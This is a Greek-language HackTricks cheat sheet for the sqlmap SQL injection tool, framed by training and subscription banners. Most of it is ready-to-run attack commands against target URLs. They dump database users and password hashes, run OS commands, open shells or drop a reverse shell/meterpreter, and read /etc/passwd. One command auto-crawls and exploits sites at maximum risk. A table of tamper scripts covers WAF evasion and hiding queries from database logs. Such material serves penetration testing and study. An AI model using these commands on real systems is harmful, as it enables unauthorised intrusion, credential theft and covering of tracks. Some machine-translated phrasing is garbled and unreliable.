SQLMap - Cheatsheet
Reading time: 10 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Βασικά επιχειρήματα για το SQLmap
Γενικά
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char
Technique flags (--technique
)
Η επιλογή --technique
σας επιτρέπει να περιορίσετε ή να αναδιατάξετε τις τεχνικές SQL injection που θα δοκιμάσει το sqlmap. Κάθε γράμμα αντιστοιχεί σε μια διαφορετική κατηγορία payloads:
Letter | Technique | Description |
---|---|---|
B | Boolean-based blind | Χρησιμοποιεί συνθήκες true/false στην απόκριση της σελίδας για να συμπεράνει αποτελέσματα |
E | Error-based | Εκμεταλλεύεται αναλυτικά μηνύματα σφάλματος DBMS για να εξάγει δεδομένα |
U | UNION query | Εισάγει δηλώσεις UNION SELECT για να ανακτήσει δεδομένα μέσω του ίδιου καναλιού |
S | Stacked queries | Προσθέτει επιπλέον δηλώσεις χωρισμένες με έναν SQL διαχωριστή (; ) |
T | Time-based blind | Βασίζεται σε καθυστερήσεις SLEEP/WAITFOR για να ανιχνεύσει συνθήκες που είναι επιδεκτικές σε injection |
Q | Inline / out-of-band | Χρησιμοποιεί συναρτήσεις όπως LOAD_FILE() ή εξαγωγή DNS για να εξάγει δεδομένα |
Η προεπιλεγμένη σειρά που θα ακολουθήσει το sqlmap είναι BEUSTQ
(όλες οι τεχνικές). Μπορείτε να αλλάξετε τόσο τη σειρά όσο και το υποσύνολο. Για παράδειγμα, η παρακάτω εντολή θα δοκιμάσει μόνο τις τεχνικές UNION query και Time-based blind, προσπαθώντας πρώτα το UNION:
sqlmap -u "http://target.tld/page.php?id=1" --technique="UT" --batch
Ανάκτηση Πληροφοριών
Εσωτερικό
--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges
Δεδομένα DB
--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
Χρησιμοποιώντας SQLMapping είναι ένα πρακτικό εργαλείο που δημιουργεί εντολές και παρέχει μια πλήρη επισκόπηση, τόσο βασική όσο και προχωρημένη, για το SQLMap. Περιλαμβάνει ToolTips που εξηγούν κάθε πτυχή του εργαλείου, λεπτομερώς κάθε επιλογή ώστε να μπορείτε να βελτιώσετε και να κατανοήσετε πώς να το χρησιμοποιείτε αποδοτικά και αποτελεσματικά.
Τόπος έγχυσης
Από την καταγραφή Burp/ZAP
Καταγράψτε το αίτημα και δημιουργήστε ένα αρχείο req.txt
sqlmap -r req.txt --current-user
Εισαγωγή Αιτήματος GET
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
Εισαγωγή Αιτήματος POST
sqlmap -u "http://example.com" --data "username=*&password=*"
Εισαγωγές σε Κεφαλίδες και άλλες Μεθόδους HTTP
#Inside cookie
sqlmap -u "http://example.com" --cookie "mycookies=*"
#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"
#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
#The injection is located at the '*'
Υποδείξτε τη συμβολοσειρά όταν η ένεση είναι επιτυχής
--string="string_showed_when_TRUE"
Προσθήκη τεχνικής ανίχνευσης
Αν βρείτε μια SQLi αλλά το sqlmap δεν την ανίχνευσε, μπορείτε να αναγκάσετε την τεχνική ανίχνευσης με παραμέτρους όπως --prefix
ή --suffix
, ή αν είναι πιο περίπλοκο, προσθέτοντάς το στα payloads που χρησιμοποιούνται από το sqlmap στο /usr/share/sqlmap/data/xml/payloads/time_blind.xml
για παράδειγμα για time blind based.
Eval
Sqlmap επιτρέπει τη χρήση του -e
ή --eval
για να επεξεργαστεί κάθε payload πριν το στείλει με κάποιο python oneliner. Αυτό διευκολύνει και επιταχύνει την επεξεργασία με προσαρμοσμένους τρόπους του payload πριν το στείλετε. Στο παρακάτω παράδειγμα, η flask cookie session υπογράφεται από το flask με το γνωστό μυστικό πριν σταλεί:
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
Κέλυφος
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
Διαβάστε το αρχείο
--file-read=/etc/passwd
Σάρωση μιας ιστοσελίδας με το SQLmap και αυτόματη εκμετάλλευση
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
Δεύτερη Τάξη Εισαγωγής
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
Διαβάστε αυτή την ανάρτηση για το πώς να εκτελέσετε απλές και σύνθετες δεύτερες παραγγελίες με sqlmap.
Προσαρμογή Εισαγωγής
Ορίστε ένα επίθημα
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
Πρόθεμα
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
Βοήθεια για την εύρεση boolean injection
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
Tamper
Θυμηθείτε ότι μπορείτε να δημιουργήσετε το δικό σας tamper σε python και είναι πολύ απλό. Μπορείτε να βρείτε ένα παράδειγμα tamper στη σελίδα Δεύτερης Τάξης Εισαγωγής εδώ.
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
Tamper | Περιγραφή |
---|---|
apostrophemask.py | Αντικαθιστά τον χαρακτήρα απόστροφου με τον πλήρη χαρακτήρα UTF-8 |
apostrophenullencode.py | Αντικαθιστά τον χαρακτήρα απόστροφου με τον παράνομο διπλό χαρακτήρα unicode |
appendnullbyte.py | Προσθέτει τον κωδικοποιημένο χαρακτήρα NULL στο τέλος του payload |
base64encode.py | Κωδικοποιεί σε Base64 όλους τους χαρακτήρες σε ένα δεδομένο payload |
between.py | Αντικαθιστά τον τελεστή μεγαλύτερος από ('>') με 'NOT BETWEEN 0 AND #' |
bluecoat.py | Αντικαθιστά τον χαρακτήρα κενό μετά τη δήλωση SQL με έναν έγκυρο τυχαίο κενό χαρακτήρα. Στη συνέχεια, αντικαθιστά τον χαρακτήρα = με τον τελεστή LIKE |
chardoubleencode.py | Διπλά url-κωδικοποιεί όλους τους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων) |
commalesslimit.py | Αντικαθιστά περιπτώσεις όπως 'LIMIT M, N' με 'LIMIT N OFFSET M' |
commalessmid.py | Αντικαθιστά περιπτώσεις όπως 'MID(A, B, C)' με 'MID(A FROM B FOR C)' |
concat2concatws.py | Αντικαθιστά περιπτώσεις όπως 'CONCAT(A, B)' με 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' |
charencode.py | Url-κωδικοποιεί όλους τους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων) |
charunicodeencode.py | Unicode-url-κωδικοποιεί μη κωδικοποιημένους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων). "%u0022" |
charunicodeescape.py | Unicode-url-κωδικοποιεί μη κωδικοποιημένους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων). "\u0022" |
equaltolike.py | Αντικαθιστά όλες τις εμφανίσεις του τελεστή ίσος ('=') με τον τελεστή 'LIKE' |
escapequotes.py | Διαφεύγει τις αποστροφές (' και ") |
greatest.py | Αντικαθιστά τον τελεστή μεγαλύτερος από ('>') με τον αντίστοιχο 'GREATEST' |
halfversionedmorekeywords.py | Προσθέτει σχολιασμό MySQL με έκδοση πριν από κάθε λέξη-κλειδί |
ifnull2ifisnull.py | Αντικαθιστά περιπτώσεις όπως 'IFNULL(A, B)' με 'IF(ISNULL(A), B, A)' |
modsecurityversioned.py | Περιβάλλει το πλήρες ερώτημα με σχολιασμό με έκδοση |
modsecurityzeroversioned.py | Περιβάλλει το πλήρες ερώτημα με σχολιασμό μηδενικής έκδοσης |
multiplespaces.py | Προσθέτει πολλαπλά κενά γύρω από τις λέξεις-κλειδιά SQL |
nonrecursivereplacement.py | Αντικαθιστά προκαθορισμένες λέξεις-κλειδιά SQL με αναπαραστάσεις κατάλληλες για αντικατάσταση (π.χ. .replace("SELECT", "")) φίλτρα |
percentage.py | Προσθέτει ένα ποσοστό ('%') μπροστά από κάθε χαρακτήρα |
overlongutf8.py | Μετατρέπει όλους τους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων) |
randomcase.py | Αντικαθιστά κάθε χαρακτήρα λέξης-κλειδί με τυχαία τιμή κεφαλαίου |
randomcomments.py | Προσθέτει τυχαία σχόλια στις λέξεις-κλειδιά SQL |
securesphere.py | Προσθέτει ειδικά κατασκευασμένο string |
sp_password.py | Προσθέτει 'sp_password' στο τέλος του payload για αυτόματη απόκρυψη από τα logs του DBMS |
space2comment.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με σχόλια |
space2dash.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με ένα σχόλιο παύλας ('--') ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή ('\n') |
space2hash.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με έναν χαρακτήρα σήματος ('#') ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή ('\n') |
space2morehash.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με έναν χαρακτήρα σήματος ('#') ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή ('\n') |
space2mssqlblank.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων |
space2mssqlhash.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με έναν χαρακτήρα σήματος ('#') ακολουθούμενο από μια νέα γραμμή ('\n') |
space2mysqlblank.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων |
space2mysqldash.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με ένα σχόλιο παύλας ('--') ακολουθούμενο από μια νέα γραμμή ('\n') |
space2plus.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με το σύμβολο συν ('+') |
space2randomblank.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων |
symboliclogical.py | Αντικαθιστά τους λογικούς τελεστές AND και OR με τους συμβολικούς αντιστοίχους τους (&& και |
unionalltounion.py | Αντικαθιστά το UNION ALL SELECT με το UNION SELECT |
unmagicquotes.py | Αντικαθιστά τον χαρακτήρα απόστροφου (') με έναν συνδυασμό πολλών byte %bf%27 μαζί με γενικό σχόλιο στο τέλος (για να λειτουργήσει) |
uppercase.py | Αντικαθιστά κάθε χαρακτήρα λέξης-κλειδί με την κεφαλαία τιμή 'INSERT' |
varnish.py | Προσθέτει μια HTTP κεφαλίδα 'X-originating-IP' |
versionedkeywords.py | Περιβάλλει κάθε μη λειτουργική λέξη-κλειδί με σχολιασμό MySQL με έκδοση |
versionedmorekeywords.py | Περιβάλλει κάθε λέξη-κλειδί με σχολιασμό MySQL με έκδοση |
xforwardedfor.py | Προσθέτει μια ψεύτικη HTTP κεφαλίδα 'X-Forwarded-For' |
Αναφορές
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.